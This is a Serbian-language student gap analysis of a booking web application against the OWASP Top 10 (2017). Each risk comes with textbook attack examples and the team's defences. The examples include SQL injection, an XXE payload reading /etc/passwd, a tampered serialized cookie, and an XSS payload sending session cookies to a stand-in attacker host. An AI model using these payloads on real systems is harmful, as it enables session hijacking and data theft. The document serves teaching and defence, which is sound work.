# Gap analiza

(OWASP Top 10 rizika 2017)


| | |
|---|---|
| **A1** | Injection |
| **A2** | Broken Authentication |
| **A3** | Sensitive Data Exposure |
| **A4** | XML External Entities (XXE) |
| **A5** | Broken Access Control |
| **A6** | Security Misconfiguration |
| **A7** | Cross-Site Scripting (XSS) |
| **A8** | Insecure Deserialization |
| **A9** | Using Components with Known Vulnerabilities |
| **A10** | Insufficient Logging & Monitoring |

**Autori (Tim 17):**
Bojana Samardžić RA 7/2014
Aleksandar Lupić RA 33/2014
Nena Vidović RA 244/2015

# A1 Injection

Realizacija Injection napada moguća je ukoliko se interpreteru pošalju podaci koji nisu validirani. Postoji više vrsta Injection napada: SQL Injection, NoSQL Injection, OS, LOG, LDAP, EL i OGNL Injection. Podaci koji stignu od malicioznog napadača mogu prevariti interpreter tako da on počne da izvršava nepredviđene komande ili je omogućen pristup podacima bez odgovarajuće autorizacije.

***Primer:*** SQL Injection se najčešće dešava kada korisnik u polje koje nije za to predviđeno (npr. polje za unos korisničkih kredencijala) unese SQL naredbu koja potom pokreće bazu podataka.

```
txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId =
" + txtUserId + " OR 5=5";
```

***U našem sistemu:*** relevantan je SQL Injection, koji rešavamo upotrebom parametrizovanih upita koji se šalju bazi podataka. Prepared Statement-i osiguravaju da napadač ne može da promeni namenu upita. Ukoliko napadač unese korisnički ID uz „OR 5=5“, zbog upotrebe parametrizovanih upita ranjivosti su

izbegnute jer će se pretraga bukvalno vršiti po kriterijumu čitavog unetog stringa.

```
String name = request.getParameter("name");
String query = "SELECT account_balance FROM
user_data WHERE user_name = ? ";
PreparedStatement pstmt =
connection.prepareStatement(query);
pstmt.setString(1, name);
ResultSet results = pstmt.executeQuery( );
```

Pored SQL Injection-a, relevantan napad je i LOG Injection, koji se rešava primenom Logger klase u sastavu slf4j biblioteke.

## A2 Broken Authentication

Funkcionalnosti u vezi sa autentifikacijom i upravljanjem sesijama često su u aplikaciji implementirane na pogrešan način, te dozvoljavaju napadačima da kompromituju lozinke, ključeve ili tokene, ili da eksploatišu ostale implementacione greške kako bi pogodili identitete (kredencijale) ostalih korisnika.

***Primer:*** Maliciozni napadač ima validnu listu najčešće korišćenih lozinki. Upotrebom brute force napada,

napadač pokušava da pogodi tačnu kombinaciju korisničkog imena i lozinke.

```
Username: admin          Username: user
Password: admin          Password: 12345
```

***U našem sistemu:*** da bi naša aplikacija bila otporna na brute force napade, koristimo dvofaktorsku autentifikaciju (korisnik ima svoje korisničko ime i lozinku i zna odgovor na sigurnosno pitanje). Sigurnosna pitanja koja smo uveli u sistem su: "Kako se zvala Vaša prva simpatija?", "Kako se prezivao nastavnik koji Vam je dao prvu lošu ocenu u osnovnoj školi?", "Koji je bio nadimak Vašeg najboljeg druga u osnovnoj školi?". Lozinke koje se koriste u sistemu podvrgnute su rigoroznoj kontroli – provera dužine (minimalan broj karaktera mora biti veći od 10 a maksimalno 30) i provera jačine lozinke (izbegavanje šablona). Šablone izbegavamo tako što u sistemu postoji fajl sa najčešće korišćenim lozinkama - sadržaj tog fajla poredimo sa unetom lozinkom. U slučaju da maliciozni napadač pokuša da resetuje lozinku nekog korisnika, aplikacija zahteva odgovor na sigurnosno pitanje. Session ID nije vidljiv u URL-u i važi isključivo u toku jedne ostvarene sesije.

# A3 Sensitive Data Exposure

Mnoge web aplikacije i API-ji ne štite adekvatno osetljive podatke (poput finansijskih, zdravstvenih podataka, poslovnih tajni i sl). Napadači mogu ukrasti ili modifikovati ovako slabo zaštićene podatke kako bi izveli prevare kreditnim karticama, krađu identiteta ili druge kriminalne radnje. Ukoliko nema odgovarajuće zaštite, poput enkripcije podataka u tranzitu ili skladištu, ili posebnih mera predostrožnosti pri razmeni sa browser-om, osetljivi podaci mogu biti kompromitovani. Trebalo bi se oslanjati na odgovarajuće zakonske regulative koje utiču na smanjenje pojave ove vrste napada (EU's General Data Protection Regulation).

***Primer:*** Aplikacija je enkriptovala broj kreditne kartice u bazu oslanjajući se na podrazumevanu enkripciju baze. Pri preuzimanju, podaci se automatski dekriptuju i samim tim postaju podložni SQL Injection napadima kojima bi se mogao preuzeti broj kreditne kartice u formi običnog teksta.

***U našem sistemu:*** realno je očekivati da napadač pokuša da pristupi korisničkim kredencijalima i zloupotrebi ih. Kako bismo to predupredili, koristimo

hash & salt mehanizam (PBKDF2) – korisničke kredencijale u tom formatu smeštamo u bazu. Podatke u tranzitu štitimo upotrebom najnovije verzije TLS protokola, 1.2. Takođe vodimo računa o tome da privatni i javni ključevi budu propisno zaštićeni (adekvatna dužina ključa i primena dovoljno dobrih algoritama za njihovo generisanje – RSA). Za skladišenje ključeva koristimo Java KeyStore.

## A4 XML External Entities (XXE)

Mnogi stariji XML procesori dozvoljavaju specifikovanje eksternog entiteta, URI-ja koji je dereferenciran i evaluiran tokom procesiranja XML-a. Napadač eksploatiše nedostatke XML procesora ukoliko može da upload-uje čitav XML ili da ubaci maliciozni sadržaj u XML dokument.

***Primer:*** Najčešća realizacija ove vrste napada jeste putem upload-ovanja malicioznog XML fajla. Jedan od scenarija napada je pokušaj izvlačenja podataka sa servera:

```
<?xml version=”1.0” encoding=”ISO-8859-1”?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM file:///etc/passwd>]>
```

```
<foo>&xxe;</foo>
```

***U našem sistemu:*** detektovana je ranjivost na ovu vrstu napada. Ovo izbegavamo tako što vršimo validaciju XML šeme.

## A5 Broken Access Control

Ograničenja koja se dodeljuju autentifikovanom korisniku u velikom broju slučajeva nisu korektno implementirana. Napadač koristi ove nedostatke kako bi pristupio nedozvoljenim funkcionalnostima i/ili podacima (npr. pristup drugim korisničkim nalozima, pregled osetljivih podataka, izmena podataka ostalih korisnika, promena prava pristupa itd).

***Primer:*** Napadač putem URL-a nasilno pokušava da pristupi stranici za koju nema pravo pristupa:

```
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
```

***U našem sistemu:*** neovlašćeni pristup funkcionalnostima ili podacima sprečavamo tako što nad svim delovima sistema vršimo stalne provere prateći privilegije.

# A6 Security Misconfiguration

Loše konfigurisana bezbednost jedan je od najčešćih problema. Ovo je najčešće rezultat nebezbedne podrazumevane konfiguracije, nekompletne ili ad hoc konfiguracije i loše konfigurisanih HTTP čitača. Svaki operativni sistem, frejmvork, biblioteke i aplikacije moraju biti bezbedno konfigurisani i ažurirani u skladu sa najnovijim tehnologijama.

***Primer:*** Konfiguracija aplikacionog servera dozvoljava da korisniku aplikacije budu vraćene detaljne poruke o grešci, npr. „stack trace“. Ovo potencijalno izlaže osetljive informacije ili osnovne mane kao što su korišćene verzije komponenti za koje je poznato da imaju ranjivosti.

***U našem sistemu:*** realno je očekivati da napadač bez većih poteškoća realizuje ovu vrstu napada, s obzirom na to da nije implementiran odbrambeni mehanizam (ali je arhitektura aplikacije realizovana tako da postoje jasne granice između modula). Ukoliko bi naš sistem bio stavljen u produkciju, problem bi se mogao rešiti pomoću System Hardening-a (da bi smo smanjili broj ranjivosti u sistemu, instalirali bismo firewall, zatvorili

suvišne portove, zabranili deljenje fajlova između programa, koristili enkripciju gde je to moguće i pravili backup-e).

## A7 Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) dozvoljava napadačima da izvrše skriptu na pretraživaču žrtve pomoću koje mogu da preotmu korisničku sesiju, da obrišu web stranicu ili da preusmere korisnika na maliciozni sajt. XSS mane se javljaju svaki put kada aplikacija radi sa podacima na novoj web stranici bez odgovarajuće validacije ili kada se ponovo učitava sadržaj web stranice sa podacima koji su dobijeni od korisnika koristeći browser API koji može da kreira HTML ili JavaScript.

***Primer:*** Aplikacija koristi neproverene podatke pri konstrukciji narednog HTML koda bez validacije ili escape-ovanja:

```
(String) page += "<input name='creditcard'
type='TEXT'value='" +
request.getParameter("CC") + "'>";
```

Napadač modifikuje ’CC’ parametar u pretraživaču:

```
'><script>document.location='http://www.attac
ker.com/cgi-
bin/cookie.cgi?foo='+document.cookie</script>
'.
```

Ovaj napad rezultuje slanjem žrtvinog ID-ja sesije na web sajt napadača, dozvoljavajući napadaču da preotme korisničku sesiju žrtve.

***U našem sistemu:*** kako bismo osigurali aplikaciju od ove vrste napada vršimo validaciju podataka.

## A8 Insecure Deserialization

Nesigurna deserijalizacija najčešće vodi ka izvršavanju udaljenog koda. Čak i ako bi se desilo da deserijalizacione mane ne iniciraju izvršavanje udaljenog koda, mogu se iskoristiti za izvršavanje replay, injection i napada eskalacije privilegija.

***Primer:*** PHP forum koristi PHP objektnu serijalizaciju kako bi sačuvao „super“ cookie, koji sadrži korisnikov ID, ulogu, heširanu lozinku i druge podatke:

```
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:
"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc96
0";}
```

Napadač menja serijalizovan objekat kako bi sebi dodelio administratorske privilegije:

```
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:
"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc96
0";}
```

***U našem sistemu:*** podatke smeštamo u bazu podataka.

## A9 Using Components with Known Vulnerabilities

Sve komponente u aplikaciji (biblioteke, frameworks-i i ostali softverski moduli) pokreću se sa istim privilegijama. Eksploatacija ranjivih komponenti može uzrokovati gubitak podataka ili preuzimanje servera. Korišćenje komponenti sa poznatim manama mogu oslabiti zaštitu aplikacije te ona postaje podložna uticaju različitih napada.

***Primer:*** S obzirom na to da se sve komponente pokreću u istom režimu, greška u bilo kojoj od njih za posledicu bi imala ozbiljan negativan uticaj na aplikaciju. Održavanje i odbranu IoT sistema je teško implementirati, ali oni imaju važan uticaj u sferama u

kojima se primenjuju (biomedicina, automobilska industrija i sl).

***U našem sistemu:*** moguće je sprovesti napade iz ove grupe. Kako bismo ih sveli na minimum, napravićemo spisak korišćenih biblioteke i njihovih ranjivosti.

## A10 Insufficient Logging & Monitoring

Neadekvatno nadgledanje i beleženje aktivnosti u aplikaciji dozvoljava napadačima dalekosežnije napade na sistem koji mogu dovesti do potpunog uništavanja podataka. Većina sprovedenih studija pokazala je da će posledice ove grupe napada pre otkriti eksterni subjekti nego interno praćenje.

***Primer:*** Napadač pokušava da preuzme sve korisničke naloge oslanjajući se na najčešće korišćenu lozinku. Ovakav napad bi u log fajl upisao samo jedan neuspešan pokušaj logovanja za svakog korisnika, tako da je napadaču ostavljena mogućnost da sve ovo ponovi kroz par dana ali sa drugom lozinkom.

***U našem sistemu:*** beleže se kritične operacije (kao što su (ne)uspeli pokušaji logovanja, promena lozinke, razmena poruka i ostavljanje komentara, dodavanje smeštajnih jedinica, rezervacija smeštaja, plaćanje

rezervacije, otkazivanje rezervacije, ocenjivanje smeštaja, blokiranje/aktiviranje/uklanjanje korisnika od strane administratora). Korišćeni format log fajla je Common Log Format (CLF).